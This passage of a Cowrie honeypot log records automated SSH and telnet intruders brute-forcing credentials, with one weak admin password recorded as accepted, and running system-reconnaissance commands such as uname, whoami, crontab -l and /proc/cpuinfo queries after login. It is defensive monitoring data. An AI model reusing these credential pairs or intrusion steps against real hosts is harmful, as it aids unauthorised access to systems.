{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:02.770869Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:02.774867Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:02.778385Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:03.022866Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:03.831348Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:03.834646Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:04.077338Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:04.607175Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:04.610726Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:04.854399Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:05.378640Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:05.382221Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:05.625882Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:06.149321Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:06.152557Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:06.394934Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:06.924775Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:06.928220Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:07.170877Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:07.695293Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:07.698732Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:07.941067Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:08.468793Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:08.472262Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:08.717672Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:09.237543Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:09.240828Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:09.482847Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:10.001163Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:10.004505Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:10.247774Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:10.766965Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:10.770350Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:11.013900Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.6","message":"Connection lost after 20.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:11.020825Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57550,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f6e929c523","protocol":"ssh","message":"New connection: 159.203.92.129:57550 (159.203.135.109:22) [session: b2f6e929c523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.245535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.250384Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.254914Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123@123a","message":"login attempt [admin/admin123@123a] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.268412Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.320077Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.323038Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.326646Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.335251Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:12.341462Z","src_ip":"159.203.92.129","session":"b2f6e929c523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.128.149","src_port":48328,"dst_ip":"10.17.0.5","dst_port":23,"session":"dde6525cb731","protocol":"telnet","message":"New connection: 92.204.128.149:48328 (10.17.0.5:23) [session: dde6525cb731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:28.763148Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":56340,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b19a08e0807","protocol":"ssh","message":"New connection: 74.91.200.154:56340 (10.17.0.5:22) [session: 6b19a08e0807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:29.777600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:29.782974Z","src_ip":"74.91.200.154","session":"6b19a08e0807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:30.006707Z","src_ip":"74.91.200.154","session":"6b19a08e0807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test6","password":"123","message":"login attempt [test6/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:30.914565Z","src_ip":"74.91.200.154","session":"6b19a08e0807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:32.133744Z","src_ip":"74.91.200.154","session":"6b19a08e0807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":38038,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc190f1136f8","protocol":"ssh","message":"New connection: 74.91.224.229:38038 (10.17.0.5:22) [session: dc190f1136f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:44.556945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:44.630018Z","src_ip":"74.91.224.229","session":"dc190f1136f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:44.867916Z","src_ip":"74.91.224.229","session":"dc190f1136f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password123456789","message":"login attempt [user/password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:45.812953Z","src_ip":"74.91.224.229","session":"dc190f1136f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:47.055250Z","src_ip":"74.91.224.229","session":"dc190f1136f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40088,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f494dcfbf33","protocol":"ssh","message":"New connection: 159.203.92.129:40088 (159.203.135.109:22) [session: 1f494dcfbf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.596677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.601046Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hell